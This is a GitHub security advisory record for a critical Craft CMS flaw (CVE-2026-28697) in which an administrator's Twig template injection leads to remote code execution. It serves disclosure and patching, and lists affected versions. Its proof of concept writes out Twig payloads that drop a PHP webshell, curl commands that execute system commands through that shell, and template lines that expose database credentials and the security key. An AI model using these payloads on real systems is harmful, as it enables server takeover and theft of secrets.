{"id":"GHSA-v47q-jxvr-p68x","summary":"Craft CMS Vulnerable to Authenticated RCE via \"craft.app.fs.write()\" in Twig Templates","details":"## Summary\n\nAn authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the `craft.app.fs.write()` method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.\n\n---\n## Proof of Concept\n\n### Attack Prerequisites\n\n- Authenticated administrator account with `allowAdminChanges` enabled, or access to the System Messages utility\n\n### Steps to Reproduce\n\n1. Navigate to **Utilities → System Messages** (`/admin/utilities/system-messages`)\n2. Edit any email template (e.g., \"Test Email\") and inject the following in the body (or the Subject):\n\t- To exploit it by writing to a file system:\n\t\t- **Note:** Replace the filesystem handle (e.g., `hardDisk`) with a valid handle configured in the target installation.\n\t\t```twig\n\t\t{{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '\u003c?php isset($_GET[\"c\"]) ? system($_GET[\"c\"]) : null; ?\u003e') }}\n\t\t```\n\t- To exploit it by writing to a volume:\n\t\t- **Note:** Replace the volume handle (e.g., `images`) with a valid handle configured in the target installation.\n\t\t```twig\n\t\t{{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '\u003c?php isset($_GET[\"c\"]) ? system($_GET[\"c\"]) : null; ?\u003e') }}\n\t\t```\n\t\u003cimg width=\"982\" height=\"901\" alt=\"payload-injection\" src=\"https://github.com/user-attachments/assets/86fbb99c-a551-4395-93a1-30e62e77c57e\" /\u003e\n3. Save & go to **Settings → Email** (`/admin/settings/email`)\n4. Click **\"Test\"** at the bottom of the page to trigger template rendering\n5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser:\n\t**Note:** The path might be different on your end depending on the filesystem or volume configuration.\n\t```bash\n\t# For Filesystem\n\tcurl \"http://target.com/uploads/shell.php?c=id\"\n\t# For Volume\n\tcurl \"http://target.com/uploads/images/shell.php?c=id\"\n\t# Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)\n\t```\n\t\u003cimg width=\"791\" height=\"440\" alt=\"rce-poc\" src=\"https://github.com/user-attachments/assets/6a895609-bea0-459a-9659-0d1437f838f4\" /\u003e\n\n---\n## Additional Impact\n\nThe same `craft.app` exposure without any security measures enables additional attack vectors:\n\n### Database Credential Disclosure\n\nDatabase credentials are stored in `.env` outside the webroot and are not accessible to admins through the UI. This bypasses that protection.\n\n```twig\n{{ craft.app.db.username }}\n{{ craft.app.db.password }}\n{{ craft.app.db.dsn }}\n```\n\n### Security Key Disclosure\n\nCraft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, `craft.app.config.general.securityKey` bypasses this protection.\n```twig\n{{ craft.app.config.general.securityKey }}\n```\n## Recommended Fix\n- **Add Twig sandbox rules** to block `write`, `writeFileFromStream`, `deleteFile`, and similar destructive methods\n- **Consider allowlist approach** for `craft.app` properties accessible in templates rather than exposing the entire application\n\n## Resources\n\nhttps://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197\nhttps://github.com/craftcms/cms/pull/18219\nhttps://github.com/craftcms/cms/pull/18216","aliases":["CVE-2026-28697"],"modified":"2026-03-04T18:48:45.543042Z","published":"2026-03-03T21:00:16Z","database_specific":{"nvd_published_at":"2026-03-04T17:16:21Z","cwe_ids":["CWE-1336"],"severity":"CRITICAL","github_reviewed":true,"github_reviewed_at":"2026-03-03T21:00:16Z"},"references":[{"type":"WEB","url":"https://github.com/craftcms/cms/security/advisories/GHSA-v47q-jxvr-p68x"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-28697"},{"type":"WEB","url":"https://github.com/craftcms/cms/pull/18216"},{"type":"WEB","url":"https://github.com/craftcms/cms/pull/18219"},{"type":"WEB","url":"https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197"},{"type":"PACKAGE","url":"https://github.com/craftcms/cms"}],"affected":[{"package":{"name":"craftcms/cms","ecosystem":"Packagist","purl":"pkg:composer/craftcms/cms"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"5.0.0-RC1"},{"fixed":"5.9.0-beta.1"}]}],"versions":["5.0.0","5.0.0-RC1","5.0.1","5.0.2","5.0.3","5.0.4","5.0.5","5.0.6","5.1.0","5.1.1","5.1.10","5.1.2","5.1.3","5.1.4","5.1.5","5.1.6","5.1.7","5.1.8","5.1.9","5.2.0","5.2.0-beta.1","5.2.0-beta.2","5.2.0-beta.3","5.2.0-beta.4","5.2.0-beta.5","5.2.0-beta.6","5.2.1","5.2.10","5.2.2","5.2.3","5.2.4","5.2.4.1","5.2.5","5.2.6","5.2.7","5.2.8","5.2.9","5.3.0","5.3.0-beta.1","5.3.0-beta.2","5.3.0.1","5.3.0.2","5.3.0.3","5.3.1","5.3.2","5.3.3","5.3.4","5.3.5","5.3.6","5.4.0","5.4.0.1","5.4.1","5.4.10","5.4.10.1","5.4.2","5.4.3","5.4.4","5.4.5","5.4.5.1","5.4.6","5.4.7","5.4.7.1","5.4.8","5.4.9","5.5.0","5.5.0.1","5.5.1","5.5.1.1","5.5.10","5.5.2","5.5.3","5.5.4","5.5.5","5.5.6","5.5.6.1","5.5.7","5.5.8","5.5.9","5.6.0","5.6.0.1","5.6.0.2","5.6.1","5.6.10","5.6.10.1","5.6.10.2","5.6.11","5.6.12","5.6.13","5.6.14","5.6.15","5.6.16","5.6.17","5.6.2","5.6.3","5.6.4","5.6.5","5.6.5.1","5.6.6","5.6.7","5.6.8","5.6.9","5.6.9.1","5.7.0","5.7.0-beta.1","5.7.0-beta.2","5.7.1","5.7.1.1","5.7.10","5.7.11","5.7.2","5.7.3","5.7.4","5.7.5","5.7.6","5.7.7","5.7.8","5.7.8.1","5.7.8.2","5.7.9","5.8.0","5.8.1","5.8.10","5.8.11","5.8.12","5.8.13","5.8.13.1","5.8.13.2","5.8.14","5.8.15","5.8.16","5.8.17","5.8.18","5.8.19","5.8.2","5.8.20","5.8.21","5.8.22","5.8.23","5.8.3","5.8.4","5.8.5","5.8.6","5.8.7","5.8.8","5.8.9"],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/03/GHSA-v47q-jxvr-p68x/GHSA-v47q-jxvr-p68x.json"}},{"package":{"name":"craftcms/cms","ecosystem":"Packagist","purl":"pkg:composer/craftcms/cms"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"4.0.0-RC1"},{"fixed":"4.17.0-beta.1"}]}],"versions":["4.0.0","4.0.0-RC1","4.0.0-RC2","4.0.0-RC3","4.0.0.1","4.0.1","4.0.2","4.0.3","4.0.4","4.0.5","4.0.5.1","4.0.5.2","4.0.6","4.1.0","4.1.0.1","4.1.0.2","4.1.1","4.1.2","4.1.3","4.1.4","4.1.4.1","4.10.0","4.10.0-beta.1","4.10.0-beta.2","4.10.1","4.10.2","4.10.3","4.10.4","4.10.5","4.10.6","4.10.7","4.10.8","4.11.0","4.11.0.1","4.11.0.2","4.11.1","4.11.2","4.11.3","4.11.4","4.11.5","4.12.0","4.12.1","4.12.2","4.12.3","4.12.4","4.12.4.1","4.12.5","4.12.6","4.12.6.1","4.12.7","4.12.8","4.12.9","4.13.0","4.13.1","4.13.1.1","4.13.10","4.13.2","4.13.3","4.13.4","4.13.5","4.13.6","4.13.7","4.13.8","4.13.9","4.14.0","4.14.0.1","4.14.0.2","4.14.1","4.14.10","4.14.11","4.14.11.1","4.14.12","4.14.13","4.14.14","4.14.15","4.14.2","4.14.3","4.14.4","4.14.5","4.14.6","4.14.7","4.14.8","4.14.8.1","4.14.9","4.15.0","4.15.0-beta.1","4.15.0-beta.2","4.15.0.1","4.15.0.2","4.15.1","4.15.2","4.15.3","4.15.4","4.15.5","4.15.6","4.15.6.1","4.15.6.2","4.15.7","4.16.0","4.16.1","4.16.10","4.16.11","4.16.12","4.16.13","4.16.14","4.16.15","4.16.16","4.16.17","4.16.18","4.16.19","4.16.2","4.16.3","4.16.4","4.16.5","4.16.6","4.16.6.1","4.16.7","4.16.8","4.16.9","4.16.9.1","4.2.0","4.2.0.1","4.2.0.2","4.2.1","4.2.1.1","4.2.2","4.2.3","4.2.4","4.2.5","4.2.5.1","4.2.5.2","4.2.6","4.2.7","4.2.8","4.3.0","4.3.1","4.3.10","4.3.11","4.3.2","4.3.2.1","4.3.3","4.3.4","4.3.5","4.3.6","4.3.6.1","4.3.7","4.3.7.1","4.3.8","4.3.8.1","4.3.8.2","4.3.9","4.4.0","4.4.0-beta.1","4.4.0-beta.2","4.4.0-beta.3","4.4.0-beta.4","4.4.0-beta.5","4.4.0-beta.6","4.4.0-beta.7","4.4.1","4.4.10","4.4.10.1","4.4.11","4.4.12","4.4.13","4.4.14","4.4.15","4.4.16","4.4.16.1","4.4.17","4.4.2","4.4.3","4.4.4","4.4.5","4.4.6","4.4.6.1","4.4.7","4.4.7.1","4.4.8","4.4.9","4.5.0","4.5.0-beta.1","4.5.0-beta.2","4.5.1","4.5.10","4.5.11","4.5.11.1","4.5.12","4.5.13","4.5.14","4.5.15","4.5.2","4.5.3","4.5.4","4.5.5","4.5.6","4.5.6.1","4.5.7","4.5.8","4.5.9","4.6.0","4.6.0-RC1","4.6.1","4.7.0","4.7.1","4.7.2","4.7.2.1","4.7.3","4.7.4","4.8.0","4.8.1","4.8.10","4.8.11","4.8.2","4.8.3","4.8.4","4.8.5","4.8.6","4.8.7","4.8.8","4.8.9","4.9.0","4.9.1","4.9.2","4.9.3","4.9.4","4.9.5","4.9.6","4.9.7"],"databas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